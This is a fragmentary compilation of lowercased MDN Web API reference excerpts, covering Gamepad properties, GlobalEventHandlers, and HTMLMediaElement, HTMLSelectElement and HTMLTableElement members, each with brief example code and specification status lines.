iv> <button class="mute">mute button</button> </div> var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var gainnode = audioctx.creategain(); var mute = document.queryselector('.mute'); var source; if (navigator.mediadevices.getusermedia) { navigator.mediadevices.getusermedia ( // constraints - only audio needed for this app { audio: true }, // success callback function(stream) { source = audioctx.createmediastreamsource(stream); }, // error callback function(err) { console.log('the following gum error occured: ' + err); } ); } else { console.log('getusermedia not supported on your browser!'); } source.connect(gainnode); gainnode.connect(audioctx.destination); ...
... gainnode.gain.setvalueattime(0, audioctx.currenttime); mute.id = "activated"; mute.innerhtml = "unmute"; } else { gainnode.gain.setvalueattime(1, audioctx.currenttime); mute.id = ""; mute.innerhtml = "mute"; } } specifications specification status comment web audio apithe definition of 'gain' in that specification.
Gamepad.connected - Web APIs
WebAPIGamepadconnected
the gamepad.connected property of the gamepad interface returns a boolean indicating whether the gamepad is still connected to the system.
... specifications specification status comment gamepadthe definition of 'gamepad.connected' in that specification.
Gamepad.hand - Web APIs
WebAPIGamepadhand
empty string ("") — this value is returned if the other values are not applicable, e.g.
... examples tbc specifications specification status comment gamepad extensionsthe definition of 'hand' in that specification.
Gamepad.index - Web APIs
WebAPIGamepadindex
this can be used to distinguish multiple controllers; a gamepad that is disconnected and reconnected will retain the same index.
... specifications specification status comment gamepadthe definition of 'gamepad.index' in that specification.
Gamepad.mapping - Web APIs
WebAPIGamepadmapping
the gamepad.mapping property of the gamepad interface returns a string indicating whether the browser has remapped the controls on the device to a known layout.
... specifications specification status comment gamepadthe definition of 'gamepad.mapping' in that specification.
Gamepad.timestamp - Web APIs
WebAPIGamepadtimestamp
values are monotonically increasing, meaning that they can be compared to determine the ordering of updates, as newer values will always be greater than or equal to older values.
... specifications specification status comment gamepadthe definition of 'gamepad.timestamp' in that specification.
GamepadButton.pressed - Web APIs
the gamepadbutton.pressed property of the gamepadbutton interface returns a boolean indicating whether the button is currently pressed (true) or unpressed (false).
... specifications specification status comment gamepadthe definition of 'gamepadbutton.pressed' in that specification.
GamepadEvent.gamepad - Web APIs
syntax readonly attribute gamepad gamepad; example the gamepad property being called on a fired window.gamepadconnected event.
... specifications specification status comment gamepadthe definition of 'gamepadevent.gamepad' in that specification.
GamepadEvent - Web APIs
examples the gamepad property being called on a fired window.gamepadconnected event.
... window.addeventlistener("gamepaddisconnected", function(e) { console.log("gamepad disconnected from index %d: %s", e.gamepad.index, e.gamepad.id); }); specifications specification status comment gamepadthe definition of 'gamepadevent' in that specification.
GeometryUtils - Web APIs
geometryutils is a raw interface and no object of this type can be created; it is implemented by text, element, csspseudoelement, and document objects.
... geometryutils.convertquadfromnode() fixme: needs a description geometryutils.convertrectfromnode() fixme: needs a description geometryutils.convertpointfromnode() fixme: needs a description specifications specification status comment css object model (cssom) view modulethe definition of 'geometryutils' in that specification.
GlobalEventHandlers.onchange - Web APIs
note: unlike oninput, the onchange event handler is not necessarily called for each alteration to an element's value.
... html <input type="text" placeholder="type something here, then click outside of the field." size="50"> <p id="log"></p> javascript let input = document.queryselector('input'); let log = document.getelementbyid('log'); input.onchange = handlechange; function handlechange(e) { log.textcontent = `the field's value is ${e.target.value.length} character(s) long.`; } result specification specification status comment html living standardthe definition of 'onchange' in that specification.
GlobalEventHandlers.onclick - Web APIs
only one onclick handler can be assigned to an object at a time.
... html <p>click anywhere in this example.</p> <p id="log"></p> javascript let log = document.getelementbyid('log'); document.onclick = inputchange; function inputchange(e) { log.textcontent = `position: (${e.clientx}, ${e.clienty})`; } result specification specification status comment html living standardthe definition of 'onclick' in that specification.
GlobalEventHandlers.onclose - Web APIs
only one onclose handler can be assigned to an object at a time.
... specifications specification status comment html living standardthe definition of 'onclose' in that specification.
GlobalEventHandlers.oncuechange - Web APIs
the event is sent to both the texttrack and to the <track> element the track is being presented by, if any; in the latter case, its handler is on an htmltrackelement object.
... specification specification status comment html living standardthe definition of 'oncuechange' in that specification.
GlobalEventHandlers.ondblclick - Web APIs
only one ondblclick handler can be assigned to an object at a time.
... html <p>double click anywhere in this example.</p> <p id="log"></p> javascript let log = document.getelementbyid('log'); document.ondblclick = logdoubleclick; function logdoubleclick(e) { log.textcontent = `position: (${e.clientx}, ${e.clienty})`; } result specifications specification status comment html living standardthe definition of 'ondblclick' in that specification.
GlobalEventHandlers.ondrag - Web APIs
er</code></h1> <div> <!-- <div class="source"> --> <p id="source" ondrag="drag_handler(event);" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html living standardthe definition of 'ondrag' in that specification.
... living standard html 5.1the definition of 'ondrag' in that specification.
GlobalEventHandlers.ondragover - Web APIs
agstart</code>, <code>ondragover</code></h1> <div> <p id="source" ondrag="drag_handler(event);" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html living standardthe definition of 'ondragover' in that specification.
... living standard html 5.1the definition of 'ondragover' in that specification.
GlobalEventHandlers.ondragstart - Web APIs
agstart</code>, <code>ondragover</code></h1> <div> <p id="source" ondrag="drag_handler(event);" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html living standardthe definition of 'ondragstart' in that specification.
... living standard html 5.1the definition of 'ondragstart' in that specification.
GlobalEventHandlers.ondrop - Web APIs
<code>ondragover</code></h1> <div class="source"> <p id="source" ondrag="drag_handler(event);" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html living standardthe definition of 'ondrop' in that specification.
... living standard html 5.1the definition of 'ondrop' in that specification.
GlobalEventHandlers.onemptied - Web APIs
the emptied event is fired when the media has become empty; for example, this event is sent if the media has already been loaded (or partially loaded), and the load() method is called to reload it.
... specification specification status comment html living standardthe definition of 'onemptied' in that specification.
GlobalEventHandlers.onended - Web APIs
the ended event is fired when playback has stopped because the end of the media was reached.
... specification specification status comment html living standardthe definition of 'onended' in that specification.
GlobalEventHandlers.onformdata - Web APIs
this happens when the form is submitted, but can also be triggered by the invocation of a formdata() constructor.
...data(formelem); }); // formdata handler to retrieve data formelem.onformdata = (e) => { console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit the data via xhr var request = new xmlhttprequest(); request.open("post", "/formhandler"); request.send(data); }; specifications specification status comment html living standardthe definition of 'onformdata' in that specification.
GlobalEventHandlers.oninput - Web APIs
note: unlike oninput, the onchange event handler is not necessarily called for each alteration to an element's value.
... html <input type="text" placeholder="type something here to see its length." size="50"> <p id="log"></p> javascript let input = document.queryselector('input'); let log = document.getelementbyid('log'); input.oninput = handleinput; function handleinput(e) { log.textcontent = `the field's value is ${e.target.value.length} character(s) long.`; } result specifications specification status comment html living standardthe definition of 'oninput' in that specification.
GlobalEventHandlers.oninvalid - Web APIs
the validity of submittable elements is checked before submitting their owner form, or after the checkvalidity() method of the element or its owner form is called.
...y = document.getelementbyid('city'); const thanks = document.getelementbyid('thanks'); city.oninvalid = invalid; form.onsubmit = submit; function invalid(event) { error.removeattribute('hidden'); } function submit(event) { form.setattribute('hidden', ''); thanks.removeattribute('hidden'); // for this example, don't actually submit the form event.preventdefault(); } result specification specification status comment html living standardthe definition of 'oninvalid' in that specification.
GlobalEventHandlers.onloadstart - Web APIs
the onloadstart property of the globaleventhandlers mixin is an eventhandler representing the code to be called when the loadstart event is raised (when progress has begun on the loading of a resource.) syntax img.onloadstart = funcref; value funcref is the handler function to be called when the resource's loadstart event fires.
... examples html content <img src="myimage.jpg"> javascript content // 'loadstart' fires first, then 'load', then 'loadend' image.addeventlistener('load', function(e) { console.log('image loaded'); }); image.addeventlistener('loadstart', function(e) { console.log('image load started'); }); image.addeventlistener('loadend', function(e) { console.log('image load finished'); }); specifications specification status comment html living standardthe definition of 'onloadstart' in that specification.
GlobalEventHandlers.onpointerenter - Web APIs
</div> </body> </html> specifications specification status comment pointer events – level 2the definition of 'onpointerenter' in that specification.
... recommendation non-stable version pointer eventsthe definition of 'onpointerenter' in that specification.
GlobalEventHandlers.onpointerleave - Web APIs
specifications specification status comment pointer events – level 2the definition of 'onpointerleave' in that specification.
... recommendation non-stable version pointer eventsthe definition of 'onpointerleave' in that specification.
GlobalEventHandlers.onpointermove - Web APIs
</div> </body> </html> specifications specification status comment pointer events – level 2the definition of 'onpointermove' in that specification.
... recommendation non-stable version pointer eventsthe definition of 'onpointermove' in that specification.
GlobalEventHandlers.onpointerout - Web APIs
</div> </body> </html> specifications specification status comment pointer events – level 2the definition of 'onpointerout' in that specification.
... recommendation non-stable version pointer eventsthe definition of 'onpointerout' in that specification.
GlobalEventHandlers.onpointerover - Web APIs
</div> </body> </html> specifications specification status comment pointer events – level 2the definition of 'onpointerover' in that specification.
... recommendation non-stable version pointer eventsthe definition of 'onpointerover' in that specification.
GlobalEventHandlers.onpointerup - Web APIs
</div> </body> </html> specifications specification status comment pointer events – level 2the definition of 'onpointerup' in that specification.
... recommendation non-stable version pointer eventsthe definition of 'onpointerup' in that specification.
GlobalEventHandlers.ontouchend - Web APIs
it is specified in the touch events – level 2 draft specification and not in touch events recommendation.
...</div> </body> </html> specifications specification status comment touch events – level 2 draft non-stable version.
GlobalEventHandlers.ontouchmove - Web APIs
it is specified in the touch events – level 2 draft specification and not in touch events recommendation.
...</div> </body> </html> specifications specification status comment touch events – level 2 draft non-stable version.
GlobalEventHandlers.ontouchstart - Web APIs
it is specified in the touch events – level 2 draft specification and not in touch events recommendation.
...</div> </body> </html> specifications specification status comment touch events – level 2 draft non-stable version.
HTMLAreaElement.rel - Web APIs
it is a domstring containing a space-separated list of link types indicating the relationship between the resource represented by the <area> element and the current document.
... syntax var relstr = areaelt.rel; areaelt.rel = relstr; example var areas = document.getelementsbytagname("area"); var length = areas.length; for (var i = 0; i < length; i++) { alert("rel: " + areas[i].rel); } specifications specification status comment html living standardthe definition of 'rel' in that specification.
HTMLDataElement.value - Web APIs
specifications specification status comment html living standardthe definition of 'htmldataelement.value' in that specification.
... living standard html5the definition of 'value' in that specification.
HTMLDialogElement: close event - Web APIs
bubbles no cancelable no interface event event handler property onclose examples live example html <dialog class="example-dialog"> <button class="close" type="reset">close</button> </dialog> <button class="open-dialog">open dialog</button> <div class="result"></div> css button, div { margin: .5rem; } js const result = document.queryselector('.result'); const dialog = document.queryselector('.example-dialog'); dialog.addeventlistener('close', (event) => { result.textcontent = 'dialog was closed'; }); const opendialog = document.queryselector('.open-dialog'); opendialog.addeventlistener('click', () => { if (t...
...ypeof dialog.showmodal === 'function') { dialog.showmodal(); result.textcontent = ''; } else { result.textcontent = 'the dialog api is not supported by this browser'; } }); const closebutton = document.queryselector('.close'); closebutton.addeventlistener('click', () => { dialog.close(); }); result specifications specification status html living standardthe definition of 'close' in that specification.
accessKeyLabel - Web APIs
l = element.accesskeylabel example javascript var node = document.getelementbyid('btn1'); if (node.accesskeylabel) { node.title += ' [' + node.accesskeylabel + ']'; } else { node.title += ' [' + node.accesskey + ']'; } node.onclick = function () { var p = document.createelement('p'); p.textcontent = 'clicked!'; node.parentnode.appendchild(p); }; html <button accesskey="h" title="caption" id="btn1">hover me</button> result specifications specification status comment html living standardthe definition of 'htmlelement.accesskeylabel' in that specification.
... html5the definition of 'htmlelement.accesskeylabel' in that specification.
HTMLElement.offsetLeft - Web APIs
however, for inline-level elements (such as span) that can wrap from one line to the next, offsettop and offsetleft describe the positions of the first border box (use element.getclientrects() to get its width and height), while offsetwidth and offsetheight describe the dimensions of the bounding border box (use element.getboundingclientrect() to get its position).
...div> <script type="text/javascript"> var box = document.getelementbyid("box"); var longspan = document.getelementbyid("longspan"); box.style.left = longspan.offsetleft + document.body.scrollleft + "px"; box.style.top = longspan.offsettop + document.body.scrolltop + "px"; box.style.width = longspan.offsetwidth + "px"; box.style.height = longspan.offsetheight + "px"; </script> specification specification status comment css object model (cssom) view modulethe definition of 'offsetleft' in that specification.
HTMLElement.offsetParent - Web APIs
offsetparent is useful because offsettop and offsetleft are relative to its padding edge.
... specification specification status comment css object model (cssom) view modulethe definition of 'offsetparent' in that specification.
HTMLElement.offsetTop - Web APIs
example var d = document.getelementbyid("div1"); var toppos = d.offsettop; if (toppos > 10) { // object is offset more // than 10 pixels from its parent } specification specification status comment css object model (cssom) view modulethe definition of 'offsettop' in that specification.
...port 4opera android full support 10.1safari ios full support 1samsung internet android full support 1.0legend full support full support in compliance with the specification, this property will return null on webkit if the element is hidden (the style.display of this element or any ancestor is "none") or if the style.position of the element itself is set to "fixed".
HTMLElement: pointerout event - Web APIs
the pointerout event is fired for several reasons including: pointing device is moved out of the hit test boundaries of an element; firing the pointerup event for a device that does not support hover (see pointerup); after firing the pointercancel event (see pointercancel); when a pen stylus leaves the hover range detectable by the digitizer.
... bubbles yes cancelable yes interface pointerevent event handler property onpointerout examples using addeventlistener(): const para = document.queryselector('p'); para.addeventlistener('pointerout', (event) => { console.log('pointer moved out'); }); using the onpointerout event handler property: const para = document.queryselector('p'); para.onpointerout = (event) => { console.log('pointer moved out'); }; specifications specification status pointer events obsolete ...
HTMLFontElement.face - Web APIs
if no font listed is installed on the local system, the browser typically defaults to the proportional or fixed-width font for that system.
... the format of the string must follow one of the following html microsyntax: microsyntax description examples list of one or more valid font family names a list of font names, that have to be present on the local system courier,verdana syntax facestring = fontobj.face; fontobj.face = facestring; examples // assumes there is <font id="f"> element in the html var f = document.getelementbyid("f"); f.face = "arial"; specifications the <font> tag is not supported in html5 and as a result neither is <font>.face .
HTMLFormControlsCollection.namedItem() - Web APIs
example html <form> <input id="my-form-control" type="textarea"> </form> javascript // returns the htmlinputelement representing #my-form-control elem1 = document.forms[0]['my-form-control']; specifications specification status comment html living standardthe definition of 'htmlformcontrolscollection.nameditem()' in that specification.
... living standard html5the definition of 'htmlformcontrolscollection' in that specification.
HTMLFormElement.acceptCharset - Web APIs
this list can be comma-separated or space-separated.
... syntax var string = form.acceptcharset; form.acceptcharset = string; example inputs = document.forms['myform'].acceptcharset; specifications specification status comment html living standardthe definition of 'htmlformelement: acceptcharset' in that specification.
HTMLFormElement.action - Web APIs
this property can be retrieved or set.
... syntax var string = form.action; form.action = string; example form.action = '/cgi-bin/publish'; specifications specification status comment html living standardthe definition of 'htmlformelement: action' in that specification.
HTMLFormElement.name - Web APIs
if your <form> element contains an element named name then that element overrides the form.name property, so that you can't access it.
... syntax var string = form.name; form.name = string; example var form1name = document.getelementbyid('form1').name; if (form1name != document.form.form1) { // browser doesn't support this form of reference } specifications specification status comment html living standardthe definition of 'htmlformelement: name' in that specification.
HTMLHyperlinkElementUtils.search - Web APIs
the htmlhyperlinkelementutils.search property is a search string, also called a query string, that is usvstring containing a '?' followed by the parameters of the url.
...earch = string; examples // let an <a id="myanchor" href="https://developer.mozilla.org/docs/htmlhyperlinkelementutils.search?q=123"> element be in the document var anchor = document.getelementbyid("myanchor"); var querystring = anchor.search; // returns:'?q=123' // further parsing: let params = new urlsearchparams(querystring); let q = parseint(params.get("q")); // is the number 123 specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.search' in that specification.
HTMLIFrameElement.featurePolicy - Web APIs
syntax var policy = htmliframeelement.featurepolicy value a featurepolicy object that can be used to inspect the feature policy settings applied to the frame.
... specification specification status comment feature policy editor's draft initial definition.
HTMLInputElement.labels - Web APIs
example html <label id="label1" for="test">label 1</label> <input id="test"/> <label id="label2" for="test">label 2</label> javascript window.addeventlistener("domcontentloaded", function() { const input = document.getelementbyid("test"); for(var i = 0; i < input.labels.length; i++) { console.log(input.labels[i].textcontent); // "label 1" and "label 2" } }); specifications specification status comment html living standardthe definition of 'labels' in that specification.
... living standard no change html5the definition of 'labels' in that specification.
HTMLInputElement.select() - Web APIs
html <input type="text" id="text-box" size="20" value="hello world!"> <button onclick="selecttext()">select text</button> javascript function selecttext() { const input = document.getelementbyid('text-box'); input.focus(); input.select(); } result notes calling element.select() will not necessarily focus the input, so it is often used with htmlelement.focus().
... in browsers where it is not supported, it is possible to replace it with a call to htmlinputelement.setselectionrange() with parameters 0 and the input's value length: <input onclick="this.select();" value="sample text" /> <!-- equivalent to --> <input onclick="this.setselectionrange(0, this.value.length);" value="sample text" /> specifications specification status comment html living standardthe definition of 'select' in that specification.
HTMLInputElement.setRangeText() - Web APIs
html <input type="text" id="text-box" size="30" value="this text has not been updated."> <button onclick="selecttext()">update text</button> javascript function selecttext() { const input = document.getelementbyid('text-box'); input.focus(); input.setrangetext('already', 14, 17, 'select'); } result specifications specification status comment html living standardthe definition of 'htmlinputelement.setselectionrange()' in that specification.
... living standard no change html5the definition of 'htmlinputelement.setselectionrange()' in that specification.
HTMLLinkElement.as - Web APIs
specifications specification status comment preloadthe definition of 'as' in that specification.
... candidate recommendation initial definition.
HTMLLinkElement.referrerPolicy - Web APIs
syntax domstring htmllinkelement.referrerpolicy example var links = document.getelementsbytagname("link"); links[0].referrerpolicy; // "no-referrer" specifications specification status comment referrer policythe definition of 'referrerpolicy attribute' in that specification.
... candidate recommendation ...
HTMLMediaElement.controls - Web APIs
example var obj = document.createelement('video'); obj.controls = true; specifications specification status comment html living standardthe definition of 'htmlmediaelement.controls' in that specification.
... living standard no change from html5 html5the definition of 'htmlmediaelement.controls' in that specification.
HTMLMediaElement.crossOrigin - Web APIs
specifications specification status comment html living standardthe definition of 'htmlmediaelement.crossorigin' in that specification.
... living standard no change from html5 html5the definition of 'htmlmediaelement.crossorigin' in that specification.
HTMLMediaElement.currentSrc - Web APIs
example var obj = document.createelement('video'); console.log(obj.currentsrc); // "" specifications specification status comment html living standardthe definition of 'htmlmediaelement.currentsrc' in that specification.
... living standard no change from html5 html5the definition of 'htmlmediaelement.currentsrc' in that specification.
HTMLMediaElement.fastSeek() - Web APIs
let myvideo = document.getelementbyid("myvideoelement"); myvideo.fastseek(20); specifications specification status comment html living standardthe definition of 'fastseek()' in that specification.
... living standard initial definition; living specification.
HTMLMediaElement.initialTime - Web APIs
this property is obsolete, you can use a media fragments uri in the htmlmediaelement.src attribute instead.
... specifications this was previously defined within the whatwg html living standard, though was removed because of missing use cases.
HTMLMediaElement.loop - Web APIs
example var obj = document.createelement('video'); obj.loop = true; // true specifications specification status comment html living standardthe definition of 'htmlmediaelement.loop' in that specification.
... living standard html5the definition of 'htmlmediaelement.loop' in that specification.
HTMLMediaElement.mediaGroup - Web APIs
the htmlmediaelement.mediagroup property reflects the mediagroup html attribute, which indicates the name of the group of elements it belongs to.
... specifications specification status comment html5the definition of 'htmlmediaelement.mediagroup' in that specification.
HTMLMediaElement.onencrypted - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 8.571428571428571%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-20 0 700 60" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-bas...
...} specifications specification status comment encrypted media extensionsthe definition of 'onencrypted' in that specification.
HTMLMediaElement.onerror - Web APIs
when an error occurs, the specified function will be called.
... specifications specification status comment html living standardthe definition of 'onerror' in that specification.
HTMLMediaElement.onwaitingforkey - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 8.571428571428571%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-20 0 700 60" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t...
...} specifications specification status comment encrypted media extensionsthe definition of 'onwaitingforkey' in that specification.
HTMLMediaElement.paused - Web APIs
example var obj = document.createelement('video'); console.log(obj.paused); // true specifications specification status comment html living standardthe definition of 'htmlmediaelement.paused' in that specification.
... living standard html5the definition of 'htmlmediaelement.paused' in that specification.
HTMLMediaElement.setMediaKeys() - Web APIs
syntax var promise = htmlmediaelement.setmediakeys(mediakeys); parameters mediakeys a reference to a mediakeys object that the htmlmediaelement can use for decryption of media data during playback.
... specifications specification status comment encrypted media extensionsthe definition of 'setmediakeys()' in that specification.
HTMLMediaElement.volume - Web APIs
example var obj = document.createelement('audio'); console.log(obj.volume); // 1 obj.volume = 0.75; specifications specification status comment html living standardthe definition of 'htmlmediaelement.volume' in that specification.
... living standard html5the definition of 'htmlmediaelement.volume' in that specification.
HTMLMenuItemElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">e...
...e="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlmenuitemelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} propertiesthis interface has no properties, but inherits properties from: htmlelementmethodsthis interface has no methods, but inherits methods from: htmlelement specifications specification status comment html 5.1the definition of 'htmlmenuitemelement' in that specification.
HTMLMeterElement.labels - Web APIs
="label1" for="test">label 1</label> <meter id="test" min="0" max="100" value="70">70</meter> <label id="label2" for="test">label 2</label> javascript window.addeventlistener("domcontentloaded", function() { const meter = document.getelementbyid("test"); for(var i = 0; i < meter.labels.length; i++) { console.log(meter.labels[i].textcontent); // "label 1" and "label 2" } }); specifications specification status comment html living standardthe definition of 'labels' in that specification.
... living standard no change html5the definition of 'labels' in that specification.
HTMLObjectElement.checkValidity - Web APIs
the checkvalidity() method of the htmlobjectelement interface returns a boolean that always is true, because object objects are never candidates for constraint validation.
... specifications specification status comment html living standardthe definition of 'checkvalidity' in that specification.
HTMLObjectElement.setCustomValidity - Web APIs
additionally you must call the reportvalidity method on the same element or nothing will happen.
... specifications specification status comment html living standardthe definition of 'setcustomvalidity' in that specification.
HTMLObjectElement.willValidate - Web APIs
the willvalidate read-only property of the htmlobjectelement interface returns a boolean that indicates whether the element is a candidate for constraint validation.
... specifications specification status comment html living standardthe definition of 'willvalidate' in that specification.
HTMLOutputElement.labels - Web APIs
ple html <label id="label1" for="test">label 1</label> <output id="test">output</output> <label id="label2" for="test">label 2</label> javascript window.addeventlistener("domcontentloaded", function() { const output = document.getelementbyid("test"); for(var i = 0; i < output.labels.length; i++) { console.log(output.labels[i].textcontent); // "label 1" and "label 2" } }); specifications specification status comment html living standardthe definition of 'labels' in that specification.
... living standard no change html5the definition of 'labels' in that specification.
HTMLPictureElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" st...
... specifications specification status comment html living standardthe definition of 'htmlpictureelement' in that specification.
HTMLProgressElement.labels - Web APIs
" for="test">label 1</label> <progress id="test" value="70" max="100">70%</progress> <label id="label2" for="test">label 2</label> javascript window.addeventlistener("domcontentloaded", function() { const progress = document.getelementbyid("test"); for(var i = 0; i < progress.labels.length; i++) { console.log(progress.labels[i].textcontent); // "label 1" and "label 2" } }); specifications specification status comment html living standardthe definition of 'labels' in that specification.
... living standard no change html5the definition of 'labels' in that specification.
HTMLSelectElement.item() - Web APIs
examples html <form> <select id="myformcontrol" type="textarea"> <option id="o1">opt 1</option> <option id="o2">opt 2</option> </select> </form> javascript // returns the htmloptionelement representing #o2 elem1 = document.forms[0]['myformcontrol'][1]; specifications specification status comment html living standardthe definition of 'htmlselectelement.item()' in that specification.
... html5the definition of 'htmlselectelement.item()' in that specification.
HTMLSelectElement.labels - Web APIs
st"> <option value="1">option 1</option> <option value="2">option 2</option> </select> <label id="label2" for="test">label 2</label> javascript window.addeventlistener("domcontentloaded", function() { const select = document.getelementbyid("test"); for(var i = 0; i < select.labels.length; i++) { console.log(select.labels[i].textcontent); // "label 1" and "label 2" } }); specifications specification status comment html living standardthe definition of 'labels' in that specification.
... living standard no change html5the definition of 'labels' in that specification.
HTMLSelectElement.namedItem() - Web APIs
example html <form> <select id="myformcontrol"> <option id="o1">opt 1</option> <option id="o2">opt 2</option> </select> </form> javascript elem1 = document.forms[0]['myformcontrol']['o1']; // returns the htmloptionelement representing #o1 specifications specification status comment html living standardthe definition of 'htmlselectelement.nameditem()' in that specification.
... html5the definition of 'htmlselectelement.nameditem()' in that specification.
HTMLSelectElement.options - Web APIs
<label for="test">label</label> <select id="test"> <option value="1">option 1</option> <option value="2">option 2</option> </select> javascript window.addeventlistener("domcontentloaded", function() { const select = document.getelementbyid("test"); for(var i = 0; i < select.options.length; i++) { console.log(select.options[i].label); // "option 1" and "option 2" } }); specifications specification status comment html living standardthe definition of 'options' in that specification.
... living standard no change html5the definition of 'options' in that specification.
HTMLSelectElement.selectedOptions - Web APIs
result the resulting content looks like this in action: specifications specification status comment html living standardthe definition of 'htmlselectelement.selectedoptions' in that specification.
... living standard no change from html5 html5the definition of 'htmlselectelement.selectedoptions' in that specification.
HTMLShadowElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line ...
... specifications this feature is no longer defined by any specifications.
HTMLSlotElement.assignedElements() - Web APIs
the available options are: flatten: a boolean indicating whether to return the assigned elements of any available child <slot> elements (true) or not (false).
... examples let slots = this.shadowroot.queryselector('slot'); let elements = slots.assignedelements({flatten: true}); specifications specification status comment html living standardthe definition of 'assignedelements()' in that specification.
HTMLSlotElement.assignedNodes() - Web APIs
the available options are: flatten: a boolean indicating whether to return the assigned nodes of any available child <slot> elements (true) or not (false).
... specifications specification status comment html living standardthe definition of 'assignednodes' in that specification.
HTMLSlotElement.name - Web APIs
a slot is a placeholder inside a web component that users can fill with their own markup.
... specifications specification status comment html living standardthe definition of 'name' in that specification.
HTMLSlotElement: slotchange event - Web APIs
bubbles yes cancelable no interface event event handler property none in order to trigger a slotchange event, one has to set or remove the slot attribute.
... specifications specification status comment domthe definition of '"mutation observers" and slotchange event' in that specification.
HTMLSlotElement - Web APIs
properties htmlslotelement.name domstring: can be used to get and set the slot's name.
... specifications specification status comment html living standardthe definition of 'htmlslotelement' in that specification.
HTMLTableElement.bgColor - Web APIs
the bgcolor attribute is deprecated in html 4.01.
... example // set table background colour to lightblue var t = document.getelementbyid('tablea'); t.bgcolor = 'lightblue'; specification dom level 2 html:htmltableelement .bgcolor ...
HTMLTableElement.border - Web APIs
example // set the width of a table border to 2 pixels var t = document.getelementbyid('tablea'); t.border = '2'; specification w3c dom 2 html specification htmltableelement .border.
... this attribute is deprecated in html 4.0.
HTMLTableElement.createTFoot() - Web APIs
the footer does not need to be added separately as would be the case if document.createelement() had been used to create the new <tfoot> element.
... syntax htmltablesectionelement = table.createtfoot(); return value htmltablesectionelement example let myfoot = mytable.createtfoot(); // now this should be true: myfoot == mytable.tfoot specifications specification status comment html living standardthe definition of 'htmltableelement: createtfoot' in that specification.
HTMLTableElement.createTHead() - Web APIs
the header does not need to be added separately as would be the case if document.createelement() had been used to create the new <thead> element.
... syntax htmltablesectionelement = table.createthead(); return value htmltablesectionelement example let myhead = mytable.createthead(); // now this should be true: myhead == mytable.thead specifications specification status comment html living standardthe definition of 'htmltableelement: createthead' in that specification.
HTMLTableElement.deleteRow() - Web APIs
however, the special index -1 can be used to remove the very last row of a table.
... html <table> <tr><td>cell 1.1</td><td>cell 1.2</td><td>cell 1.3</td></tr> <tr><td>cell 2.1</td><td>cell 2.2</td><td>cell 2.3</td></tr> <tr><td>cell 3.1</td><td>cell 3.2</td><td>cell 3.3</td></tr> </table> javascript let table = document.queryselector('table'); // delete second row table.deleterow(1); result specifications specification status comment html living standardthe definition of 'htmltableelement: deleterow' in that specification.
HTMLTableElement.frame - Web APIs
the htmltableelement interface's frame property is a string that indicates which of the table's exterior borders should be drawn.
